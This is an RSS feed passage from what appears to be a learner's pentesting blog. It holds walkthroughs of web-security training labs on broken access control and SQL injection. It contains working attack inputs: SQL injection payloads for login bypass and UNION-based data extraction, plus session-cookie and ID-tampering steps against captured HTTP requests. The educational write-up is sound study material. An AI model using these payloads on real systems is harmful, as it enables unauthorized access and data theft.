<li><p>login as WENER:PETER catch the request in HTTP HISTORY TAB and send it to repeater</p>
</li>
<li><p>in repeater change the id from wiener to administrator and send the request</p>
</li>
<li><p>in response we can get to know the administrator password</p>
</li>
<li><p>login with administrator userid and password and delete the CARLOS user</p>
</li>
<li><p>solved the lab</p>
</li>
</ol>
<hr />
<h1>IDOR - INSECURE DIRECT OBJECT REFERENCES</h1>
<p>IDOR occurs when if application used user supplied input and it attacker had changes some value it in so it can exploit it</p>
<h3>LAB: Insecure Direct Object References</h3>
<ol>
<li><p>open chat box type any message and send it and then download the transcript catch this request in burpsuite and then send it to repeater</p>
</li>
<li><p>in repeater change the 2.txt to 1.txt and send it in response we get to see the message</p>
</li>
<li><p>in that message we have got the password and we have to loged in with user carlos and that password</p>
</li>
<li><p>solved the lab</p>
</li>
</ol>
<hr />
<h1>Access control vulnerabilities in multi-step processes</h1>
<ol>
<li><p>login as administrator and upgrade a user carlos</p>
</li>
<li><p>capture the request and send it to repeater</p>
</li>
</ol>
<pre><code class="language-plaintext">POST /admin-roles HTTP/2

Host: 0a340009045316e980164911006700d5.web-security-academy.net

Cookie: session=sJGHzrBhULI8PL9duUSt60atItdNQyTd

Content-Length: 45

Cache-Control: max-age=0

Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99"

Sec-Ch-Ua-Mobile: ?0

Sec-Ch-Ua-Platform: "Linux"

Accept-Language: en-GB,en;q=0.9

Origin: https://0a340009045316e980164911006700d5.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://0a340009045316e980164911006700d5.web-security-academy.net/admin-roles

Accept-Encoding: gzip, deflate, br

Priority: u=0, i



action=upgrade&amp;confirmed=true&amp;username=carlos
</code></pre>
<ol>
<li><p>see the request like above and send it to repeater</p>
</li>
<li><p>now login as wiener and capture the request and send it to repeater</p>
</li>
<li><p>now copy the session id of wiener user</p>
</li>
<li><p>in above request change the session cookie with wiener's session cookie and in place of username=carlos put wiener and send it</p>
</li>
<li><p>lab is solved</p>
</li>
</ol>
<hr />
<h1>Referer-based access control</h1>
<p>Lab: Referer-based access control</p>
<ol>
<li><p>1st login as administrator and upgrade the carlos and send this request to repeater</p>
</li>
<li><p>see a request where http header looks like this "/admin-roles?username=carlos&amp;action=upgrade" and send it to repeater</p>
</li>
<li><p>now login as wiener and capture the http request and send it to repeater</p>
</li>
<li><p>now copy the session cookie of wiener's</p>
</li>
<li><p>in the admin intercepted request change the session cookie with wiener's cooie and also change the username from carlos to wiener</p>
</li>
<li><p>lab solved</p>
<hr />
<blockquote>
<p>Solved all Broken Access Control Lab</p>
</blockquote>
</li>
</ol>
<hr />
]]></content:encoded></item><item><title><![CDATA[BROKEN ACCESS CONTROL]]></title><description><![CDATA[“Access Control means have access to system and who or what have access to do changes in system”
In field of web applications, access control is depend upon Authentication and session managament
Authe]]></description><link>https://pentesting.hashnode.dev/broken-access-control</link><guid isPermaLink="true">https://pentesting.hashnode.dev/broken-access-control</guid><dc:creator><![CDATA[Piyush Shende]]></dc:creator><pubDate>Fri, 03 Apr 2026 07:25:15 GMT</pubDate><content:encoded><![CDATA[<p>“Access Control means have access to system and who or what have access to do changes in system”</p>
<p>In field of web applications, access control is depend upon Authentication and session managament</p>
<h3><strong>Authentication - Conform that user is who they say they are</strong></h3>
<h3>Session Management - Identifies whic subsequent HTTP equests are being made by that samae user</h3>
<h3>Access Control - Determine Whetner the user is allowed to carry out the action that they are attempting or try to perfroming</h3>
<hr />
<p>This Access Control design decision have to be made by humans so the potential error is high</p>
<hr />
<h2>Vertical Access Controls</h2>
<p>Vertical Acess Controls are mechanisms that restrict access to sensitive functionality to specific types of users</p>
<p>Eg: administrator have access to modify or delete any users account, meanwhile an ordinary user account does not have that access</p>
<hr />
<h2>Horizontal Access Control</h2>
<p>Horizontal access controls are the mechanism that restrict access t oresource to specific users.</p>
<p>example : in college portal we can check our marks buy our own id not from our freinds id</p>
<hr />
<h2>Contest-dependent access contro</h2>
<p>The Permission of Access the Data Is Depend upon Current situatoin ,state of applicatoin and human interaction of USER, Not only on USER TYPE (administrator, ordinary)</p>
<p>Eg: a retail website might prevent users from modifying the contents of their shopping cart after they have made payment.</p>
<hr />
<h2>Vertical Privilege Escalation</h2>
<p>user can get access to function that they are not permitted to access</p>
<p>eg: administrative van give access to normal user that they can delete user account and modify the sensitive data is called as VERTICAL PRIVILEGE ESCALATION</p>
<h3>For Labs <a href="https://pentesting.hashnode.dev/labs">click here</a></h3>
<h3>Types</h3>
<ol>
<li><p>Unprotected Functionality - hidden directory can accessible</p>
</li>
<li><p>Parameter-based access control - Parameter-based access control methods</p>
</li>
</ol>
<p>Some applications determine the user's access rights or role at login, and then store this information in a user-controllable location. This could be:</p>
<p>Hidden folder, Cookie, preset query string parameter</p>
<ol>
<li>Broken access control resulting from URL-matching discrepancies</li>
</ol>
<hr />
<h2>Horizintal Privilege Escalation</h2>
<p>Horizontal privilege escalation occurs if a user is able to gain access to resources belonging to another user, instead of their own resources of that type. For example, if an employee can access the records of other employees as well as their own, then this is horizontal privilege escalation.</p>
<ol>
<li>Try to change the id parameter in url and in request</li>
</ol>
<p>in some application the parameter does not have same value like user carlos has id 1 and user wiener has 1$ , so its unpredictable , so we can guess it from it GUIDS - Globally unique identifier like each user has its unique GUIDs</p>
<hr />
<h1>HORIZONTAL TO VERTICAL PRIVILEGE ESCALATION</h1>
<p>If Attacker has get in to the any USER ACCOUNT so its a Horizintal privilege escalation</p>
<p>after getting access to any USER ACCOUNT if he get in to ADMIN PANEL account with changing the id paramater or GUID's or tampering the ID's so its a Vertical privilege escalation</p>
<p>so this was Horizontal to vertical Privilege Escalation</p>
<p>EG: 1st get access of user XYZ and the by tampering the user id or GUID's get access of admin panel</p>
<hr />
<h1>Access control vulnerabilities in multi-step processes</h1>
<h3>Lab: Multi-step process with no access control on one step</h3>
<p>Many websites implement important functions over a series of steps. This is common when:</p>
<pre><code class="language-plaintext">A variety of inputs or options need to be captured.
The user needs to review and confirm details before the action is performed.
</code></pre>
<p>For example, the administrative function to update user details might involve the following steps:</p>
<pre><code class="language-plaintext">Load the form that contains details for a specific user.
Submit the changes.
Review the changes and confirm.
</code></pre>
<hr />
<h1>Referer-based access control</h1>
<p>For example, an application robustly enforces access control over the main administrative page at /admin, but for sub-pages such as /admin/deleteUser only inspects the Referer header. If the Referer header contains the main /admin URL, then the request is allowed.</p>
<p>In this case, the Referer header can be fully controlled by an attacker. This means that they can forge direct requests to sensitive sub-pages by supplying the required Referer header, and gain unauthorized access.</p>
<hr />
<h2>Preventing</h2>
<p>Access control vulnerabilities can be prevented by taking a defense-in-depth approach and applying the following principles:</p>
<pre><code class="language-plaintext">Never rely on obfuscation alone for access control.
Unless a resource is intended to be publicly accessible, deny access by default.
Wherever possible, use a single application-wide mechanism for enforcing access controls.
At the code level, make it mandatory for developers to declare the access that is allowed for each resource, and deny access by default.
Thoroughly audit and test access controls to ensure they work as designed
</code></pre>
<blockquote>
<p>Here The Broek Access Control Content has Ended</p>
</blockquote>
<hr />
<hr />
]]></content:encoded></item><item><title><![CDATA[SQLI Labs]]></title><description><![CDATA[1) Clause allowing retriving hidden data
click on any option on weebpage and intercept it in burpsuite and change the paramater value to 'OR 1=1-- and see hidden data

2) SQLI allowing login bypass
op]]></description><link>https://pentesting.hashnode.dev/sqli-labs</link><guid isPermaLink="true">https://pentesting.hashnode.dev/sqli-labs</guid><dc:creator><![CDATA[Piyush Shende]]></dc:creator><pubDate>Sun, 22 Mar 2026 17:16:38 GMT</pubDate><content:encoded><![CDATA[<h3>1) Clause allowing retriving hidden data</h3>
<p>click on any option on weebpage and intercept it in burpsuite and change the paramater value to 'OR 1=1-- and see hidden data</p>
<hr />
<h3>2) SQLI allowing login bypass</h3>
<p>open login page put fake credentials and intercept it &amp; inplace of password type this administrator'-- or administrator'--'</p>
<hr />
<h3>3) UNION ATTACKS</h3>
<pre><code class="language-plaintext">SELECT a, b FROM table1 UNION SELECT c, d FROM table2
</code></pre>
<h3>Determining Number of Columns</h3>
<pre><code class="language-plaintext">'UNION SELECT NULL--
'UNION SELECT NULL, NULL--
'UNION SELECT NULL, NULL, NULL--

# put NULL untill wee get anyh response
</code></pre>
<p>open web page select click on any option intercept it and add above value instaed of it and increasse NULL untill we get any response</p>
<hr />
<h3>4) Finding Columns with Usefull Datatypes</h3>
<p>After finding number of columns we can get the data type</p>
<pre><code class="language-plaintext">if we found 3 columns
'UNION SELECT 'a',NULl, NULL,NULL--
'UNION SELECT NULL ,'a',NULL,NULL--
'UNION SELECT NULL, NULL,'a',NULL--
"UNION SELECT NULL, NULL, NULL,'a'--
</code></pre>
<hr />
<h3>5) Finding a Column Containing text</h3>
<p>open webpage click on any option and intercept it and inplace of it put this</p>
<pre><code class="language-plaintext">'UNION SELECT NULL, 'a', NULL--

now replace the value of a with a string value if we got in webpage 
</code></pre>
<hr />
<h3>6) Retrive Data From Other Tables</h3>
<p>open web page and click on any value and change it to 'UNION SELECT NULL, NULL-- increase this NULL until we cannot see the Tables</p>
<p>When we get see DATATABLES 'UNION SELECT 'test', NULL--</p>
<p>after that 'UNION SELECT 'test', 'test2'--</p>
<p>after that 'UNION SEECT username FROM users--</p>
<p>and we can see the data dumped from table user</p>
]]></content:encoded></item></channel></rss>